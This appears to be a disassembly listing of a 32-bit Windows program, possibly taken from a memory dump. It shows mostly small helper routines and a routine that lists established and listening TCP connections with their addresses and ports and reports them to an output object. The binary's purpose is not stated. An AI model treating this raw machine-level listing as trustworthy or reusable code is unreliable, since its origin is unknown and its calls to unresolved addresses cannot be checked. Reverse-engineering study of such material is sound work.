dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h, 69BCE3E8h
dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
locret_418840: ; CODE XREF: ___:00402202j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418860: ; CODE XREF: ___:00401EC4j
mov eax, [esp+0Ch]
push 0
push eax
mov ecx, offset dword_447148
call sub_401767
; ---------------------------------------------------------------------------
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418890 proc near ; CODE XREF: sub_401B09j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4021BC
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401622
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40142E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4020E5
sub_418890 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418900 proc near ; CODE XREF: sub_401AFAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40139D
sub_418900 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418940 proc near ; CODE XREF: sub_4021DAj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F4B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401550
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_40205E
sub_418940 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189B0 proc near ; CODE XREF: sub_401F4Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_4015D2
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_4189B0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189F0 proc near ; CODE XREF: sub_401311j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_4189F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A20 proc near ; CODE XREF: sub_4010B9j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F4B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401550
pop esi
add esp, 0Ch
retn
sub_418A20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A70 proc near ; CODE XREF: sub_402086j
push esi
mov esi, ecx
call sub_401528
mov eax, esi
pop esi
retn
sub_418A70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A90 proc near ; CODE XREF: sub_402211j
mov eax, [ecx]
push eax
call sub_401172
add esp, 4
retn
sub_418A90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AB0 proc near ; CODE XREF: sub_401361j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4015D2
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_418AB0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AE0 proc near ; CODE XREF: sub_4016F9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40221B
neg al
sbb eax, eax
inc eax
retn 4
sub_418AE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B10 proc near ; CODE XREF: sub_40142Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40183E
test al, al
jz short loc_418B6A
loc_418B28: ; CODE XREF: sub_418B10+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40116D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40123F
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40183E
test al, al
jnz short loc_418B28
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418B6A: ; CODE XREF: sub_418B10+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418B10 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418BA0 proc near ; CODE XREF: sub_4020E5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401D57
sub_418BA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BC0 proc near ; CODE XREF: sub_401550j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4016F9
test al, al
jz short loc_418C1A
loc_418BD8: ; CODE XREF: sub_418BC0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4012A3
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40214E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4016F9
test al, al
jnz short loc_418BD8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418C1A: ; CODE XREF: sub_418BC0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418BC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418C50 proc near ; CODE XREF: sub_40139Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401C53
sub_418C50 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_418C65
mov edi, esi
loc_418C65: ; CODE XREF: ___:00418C61j
push esi
call sub_4015D2
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_418C7A
mov edi, esi
loc_418C7A: ; CODE XREF: ___:00418C76j
push esi
call sub_401B1D
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418CA0 proc near ; CODE XREF: sub_40205Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4013F2
sub_418CA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CC0 proc near ; CODE XREF: sub_4015D2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_418CC0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CE0 proc near ; CODE XREF: sub_401172j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_418CE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D00 proc near ; CODE XREF: sub_401528j
mov eax, ecx
retn
sub_418D00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D20 proc near ; CODE XREF: sub_401D84j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4020E0
mov eax, esi
pop esi
retn 4
sub_418D20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D50 proc near ; CODE XREF: sub_40221Bj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_418D50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418D80 proc near ; CODE XREF: sub_40123Fj
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40116D
mov ecx, eax
call sub_401C8A
mov esi, eax
push esi
call sub_401A82
push esi
mov ebx, eax
call sub_401C58
mov ecx, [eax]
push ecx
call sub_401A82
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401C58
push esi
mov ebx, eax
call sub_401A82
mov eax, [eax]
push eax
call sub_401C58
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401208
add esp, 1Ch
mov ecx, edi
push eax
call sub_401762
push esi
mov ecx, edi
call sub_4020E5
sub_418D80 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E40 proc near ; CODE XREF: sub_401D57j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_418E40 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E60 proc near ; CODE XREF: sub_40116Dj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401F0A
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418E60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E90 proc near ; CODE XREF: sub_40214Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4012A3
mov ecx, eax
call sub_401ECE
mov esi, eax
push esi
call sub_4015D2
push esi
mov ebx, eax
call sub_401B1D
mov ecx, [eax]
push ecx
call sub_4015D2
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401B1D
push esi
mov ebx, eax
call sub_4015D2
mov eax, [eax]
push eax
call sub_401B1D
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401172
add esp, 1Ch
mov ecx, edi
push eax
call sub_4018C5
push esi
mov ecx, edi
call sub_40205E
sub_418E90 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F50 proc near ; CODE XREF: sub_401B1Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_418F50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418F70 proc near ; CODE XREF: sub_401C53j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_418F70 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418FA0 proc near ; CODE XREF: sub_4013F2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_418FA0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418FC0 proc near ; CODE XREF: sub_4020E0j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_418FC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418FE0 proc near ; CODE XREF: sub_4012A3j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401361
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418FE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419010 proc near ; CODE XREF: sub_401762j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_8
pop ecx
retn 4
sub_419010 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419030 proc near ; CODE XREF: sub_4018C5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_4
pop ecx
retn 4
sub_419030 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419050 proc near ; CODE XREF: sub_401ECEj
mov eax, [ecx]
retn
sub_419050 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4190B0 proc near ; CODE XREF: sub_402103j
var_14 = dword ptr -14h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4190B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_14], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
push 9
mov [esp+1Ch+var_4], 0
mov dword ptr [esi], offset off_43E074
call sub_4367FA
sub_4190B0 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 1
jz short loc_41911D
mov ecx, eax
call sub_401F0F
; ---------------------------------------------------------------------------
mov [esi+32h], eax
mov eax, esi
pop esi
mov ecx, [esp+8]
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41911D: ; CODE XREF: ___:004190FFj
mov ecx, [esp+0Ch]
xor eax, eax
mov [esi+32h], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419170 proc near ; CODE XREF: sub_401F0Fj
push 0FFFFFFFFh
push offset SEH_419170
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push 14h
call sub_4367FA
sub_419170 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+4], eax
test eax, eax
mov dword ptr [esp+10h], 0
jz short loc_4191BE
mov ecx, eax
call sub_4015B9
mov [esi], eax
mov eax, esi
pop esi
mov ecx, [esp+4]
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_4191BE: ; CODE XREF: ___:004191A1j
mov ecx, [esp+8]
xor eax, eax
mov [esi], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419200 proc near ; CODE XREF: sub_4015B9j
mov eax, ecx
retn
sub_419200 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419220 proc near ; CODE XREF: sub_401965j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_419220
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 14h
push 1
push 14h
push 13h
push 14h
push 5
lea eax, [esp+44h+var_24]
push 0Eh
mov esi, ecx
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_401681
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
sub_419220 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4192C0 proc near ; CODE XREF: sub_40111Dj
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_274 = byte ptr -274h
var_25C = byte ptr -25Ch
var_23C = byte ptr -23Ch
var_224 = byte ptr -224h
var_199 = byte ptr -199h
var_198 = byte ptr -198h
var_119 = byte ptr -119h
var_118 = byte ptr -118h
var_99 = byte ptr -99h
var_98 = byte ptr -98h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4192C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 298h
push ebx
mov ebx, ecx
push esi
mov [esp+2ACh+var_2A4], ebx
lea ecx, [ebx+4]
call sub_4017E4
mov esi, [esp+2ACh+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_419669
push ebp
push edi
push offset asc_443600 ; " "
lea eax, [esp+2B8h+var_23C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
call sub_401681
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+2B4h+var_23C]
mov [ebx+36h], eax
call sub_401226
mov ecx, esi
call sub_4017E4
push eax
lea ecx, [esp+2B8h+var_274]
call sub_401861
xor ebp, ebp
push offset dword_443D84
lea ecx, [esp+2B8h+var_274]
mov [esp+2B8h+var_4], ebp
mov [esp+2B8h+var_2A0], ebp
call sub_4013E3
test eax, eax
jz short loc_41936F
mov [esp+2B4h+var_2A0], 2
jmp short loc_419389
; ---------------------------------------------------------------------------
loc_41936F: ; CODE XREF: sub_4192C0+A3j
push offset dword_443D80
lea ecx, [esp+2B8h+var_274]
call sub_4013E3
test eax, eax
jz short loc_419389
mov [esp+2B4h+var_2A0], 1
loc_419389: ; CODE XREF: sub_4192C0+ADj
; sub_4192C0+BFj
mov ecx, [ebx+32h]
mov edi, offset dword_443D74
xor eax, eax
mov edx, [ecx]
or ecx, 0FFFFFFFFh
add edx, 2
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+32h]
mov edx, [ecx]
mov byte ptr [edx], 1
mov eax, [ebx+32h]
mov [esp+2B4h+var_119], 0
mov [esp+2B4h+var_99], 0
mov [esp+2B4h+var_D], 0
mov [esp+2B4h+var_199], 0
mov eax, [eax]
cmp byte ptr [eax], 0
jnz short loc_419418
mov esi, dword_50FA9C
add eax, 2
push offset dword_443D74
push eax
call esi
add esp, 8
test eax, eax
jz short loc_419418
mov ecx, [ebx+32h]
push offset off_443D70
mov edx, [ecx]
add edx, 2
push edx
call esi
add esp, 8
test eax, eax
jnz loc_41964F
loc_419418: ; CODE XREF: sub_4192C0+123j
; sub_4192C0+13Bj
push 0C00h
mov [esp+2B8h+var_294], 0C00h
nop
call near ptr 77C2C407h
add esp, 4
mov esi, eax
lea eax, [esp+2B4h+var_294]
mov [esp+2B4h+var_29C], esi
push 1
push eax
push esi
mov [esi], ebp
call sub_436C60
; ---------------------------------------------------------------------------
mov eax, [esi]
mov [esp+2B4h+var_298], ebp
cmp eax, ebp
jle loc_419645
lea ebp, [esi+14h]
loc_419454: ; CODE XREF: sub_4192C0+37Fj
cmp dword ptr [ebp-10h], 2
jnz short loc_419468
mov ecx, [ebx+32h]
mov edx, [ecx]
cmp byte ptr [edx], 0
jz loc_41962F
loc_419468: ; CODE XREF: sub_4192C0+198j
mov ax, [ebp-8]
mov esi, dword_50FC20
push eax
call esi
mov cx, [ebp+0]
mov [esp+2B4h+var_290], eax
push ecx
call esi
mov esi, [esp+2B4h+var_2A4]
mov ebx, eax
mov eax, [ebp-0Ch]
push 1
lea edx, [esp+2B8h+var_198]
push 7Fh
push edx
push eax
mov ecx, esi
call sub_401474
mov edx, [ebp-4]
push 0
lea ecx, [esp+2B8h+var_118]
push 7Fh
push ecx
push edx
mov ecx, esi
call sub_401474
mov eax, [ebp-10h]
sub eax, 2
jz short loc_4194CC
sub eax, 3
jnz short loc_4194F2
lea edx, [esp+2B4h+var_25C]
mov edi, offset aEstablished ; "established"
jmp short loc_4194D5
; ---------------------------------------------------------------------------
loc_4194CC: ; CODE XREF: sub_4192C0+1FAj
lea edx, [esp+2B4h+var_25C]
mov edi, offset aListening ; "listening"
loc_4194D5: ; CODE XREF: sub_4192C0+20Aj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_4194F2: ; CODE XREF: sub_4192C0+1FFj
mov ecx, 23h
xor eax, eax
lea edi, [esp+2B4h+var_98]
rep stosd
mov ecx, 23h
lea edi, [esp+2B4h+var_224]
rep stosd
cmp dword ptr [ebp-10h], 2
jnz short loc_419518
xor ebx, ebx
loc_419518: ; CODE XREF: sub_4192C0+254j
mov esi, [esp+2B4h+var_290]
lea ecx, [esp+2B4h+var_198]
and esi, 0FFFFh
lea edx, [esp+2B4h+var_98]
push esi
push ecx
push offset aSD_1 ; "%s:%d"
push 8Bh
push edx
call near ptr 77C3FA76h
nop
mov edi, ebx
add esp, 14h
and edi, 0FFFFh
lea eax, [esp+2B4h+var_118]
push edi
push eax
push offset aSD_1 ; "%s:%d"
lea ecx, [esp+2C0h+var_224]
push 8Bh
push ecx
nop
call near ptr 77C3FA76h
add esp, 14h
lea ecx, [esp+2B4h+var_28C]
call sub_401424
mov eax, [esp+2B4h+var_2A0]
mov byte ptr [esp+2B4h+var_4], 1
test bx, bx
jnz short loc_4195B1
cmp eax, 1
jz loc_419616
mov edx, [esp+2B4h+var_2A4]
mov eax, [edx+36h]
test eax, eax
jz short loc_4195A4
cmp eax, esi
jnz short loc_419616
loc_4195A4: ; CODE XREF: sub_4192C0+2DEj
lea eax, [esp+2B4h+var_25C]
push esi
push eax
push offset aSD_0 ; "%s: %d"
jmp short loc_4195D7
; ---------------------------------------------------------------------------
loc_4195B1: ; CODE XREF: sub_4192C0+2CAj
cmp eax, 2
jz short loc_419616
mov ecx, [esp+2B4h+var_2A4]
mov eax, [ecx+36h]
test eax, eax
jz short loc_4195C5
cmp eax, edi
jnz short loc_419616
loc_4195C5: ; CODE XREF: sub_4192C0+2FFj
lea edx, [esp+2B4h+var_224]
lea eax, [esp+2B4h+var_25C]
push edx
push eax
push offset aSS_6 ; "%s: %s"
loc_4195D7: ; CODE XREF: sub_4192C0+2EFj
lea ecx, [esp+2C0h+var_28C]
push ecx
call sub_40102D
mov esi, [esp+2C4h+arg_0]
add esp, 10h
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+2B8h+var_28C]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
loc_419616: ; CODE XREF: sub_4192C0+2CFj
; sub_4192C0+2E2j ...
lea ecx, [esp+2B4h+var_28C]
mov byte ptr [esp+2B4h+var_4], 0
call sub_401226
mov esi, [esp+2B4h+var_29C]
mov ebx, [esp+2B4h+var_2A4]
loc_41962F: ; CODE XREF: sub_4192C0+1A2j
mov eax, [esp+2B4h+var_298]
mov ecx, [esi]
inc eax
add ebp, 14h
cmp eax, ecx
mov [esp+2B4h+var_298], eax
jl loc_419454
loc_419645: ; CODE XREF: sub_4192C0+18Bj
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
loc_41964F: ; CODE XREF: sub_4192C0+152j
lea ecx, [esp+2B4h+var_274]
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebp
jmp short loc_41966B
; ---------------------------------------------------------------------------
loc_419669: ; CODE XREF: sub_4192C0+3Dj
mov al, 1
loc_41966B: ; CODE XREF: sub_4192C0+3A7j
mov ecx, [esp+2ACh+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 2A4h
retn 4
sub_4192C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419790 proc near ; CODE XREF: sub_401474j
var_20 = byte ptr -20h
arg_0 = byte ptr 4
arg_3 = dword ptr 7
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
mov eax, [esp+arg_3]
sub esp, 20h
mov edx, [esp+25h]
and eax, 0FFh
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esp+32h]
mov ebx, [esp+2Ch+arg_8]
mov ebp, [esp+2Ch+arg_3+1]
push eax
mov eax, [esp+34h]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ebx
push ebp
nop
call near ptr 77C3FA76h
mov ecx, [esi+32h]
add esp, 1Ch
mov al, [ecx+4]
test al, al
jnz short loc_419850
mov al, [esp+2Ch+arg_C]
test al, al
jnz short loc_41981E
mov eax, [esp+30h]
test eax, eax
jz short loc_41981E
push 2
lea edx, [esp+30h+arg_0]
push 4
push edx
nop
call near ptr 71ABE479h
test eax, eax
jz short loc_419850
mov eax, [eax]
push ebx
push eax
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
pop esi
pop ebp
pop ebx
